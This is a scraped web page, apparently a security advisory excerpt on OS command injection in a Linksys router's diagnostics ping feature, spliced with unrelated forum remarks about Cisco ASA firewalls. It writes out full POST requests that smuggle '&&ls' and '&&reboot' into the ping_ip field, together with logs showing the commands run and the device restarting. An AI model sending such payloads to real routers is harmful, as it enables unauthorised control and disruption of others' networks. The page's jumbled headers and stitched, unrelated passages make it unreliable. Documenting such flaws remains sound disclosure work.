Wrt160n validating

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Though there seems to be some sort of input validation going on for the value passed via the ping_ip parameter, it is possible to execute arbitrary commands by appending them after a valid IP address using two ampersand characters: POST request: POST /HTTP/1.1Host: 192.168.1.000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate Referer: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 163submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&&ls&ping_times=5&ping_size=32&traceroute_ip=# submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1&&ls] times[5] size[32]signalling USER1Restart service=[start_ping]cmd=[ping -t 30 -c 5 -R 66560 -s 32 -f /tmp/127.0.0.1&&ls &]cmd=[killall ping ](6033)killall: ping: no process killedwwwvarusrtmpsyssbinprocmntlibetcdevbin POST /HTTP/1.1Host: 192.168.1.000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate Referer: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 167submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&&reboot&ping_times=5&ping_size=32&traceroute_ip=# submit_button=[Diagnostics] submit_type=[start_ping]name=[Diagnostics] type=[start_ping] service=[start_ping] sleep=[1] action=[3]ip[127.0.0.1&&reboot] times[5] size[32]signalling USER1Restart service=[start_ping]cmd=[ping -t 30 -c 5 -R 66560 -s 32 -f /tmp/127.0.0.1&&reboot &]cmd=[killall ping ](24118)killall: ping: no process killed Terminated...........................………Sending SIGTERM to all processesinfo, Received SIGTERMUPn P::upnp_device_detach:br0: detach Internet Gateway UPn P::upnp_shutdown: UPn P daemon stopped UPn P::upnp_mainloop: UPn P shutdown!

Sending SIGKILL to all processes Restarting system.

In this article, we'll take a look at two of these vulnerabilities that exist due to improper validation of system command parameters passed via the stock Linksys web administration interface.

The first vulnerability I'll discuss is one I reported in this advisory and the second was previously published by Michael Messner.

Your internal network should continue to function normally.My experience is with Cisco ASA 5505 which will do this, and give you a pretty robust firewall and a VPN allowing your staff remote access all in the same box. There may be simpler and cheaper options out there - the ASA isn't that hard though - @Hyppy describes what you need to do.Several models in the Linksys E-Series Wi Fi routers running their respective current firmwares are prone to remote OS command injection vulnerabilities.You need to be specific on what router models, firewall models, etc. That will determine how easy it will be to setup policies, acls, authentication, etc.You can separate the networks yourself on the Cisco/Linksys router.

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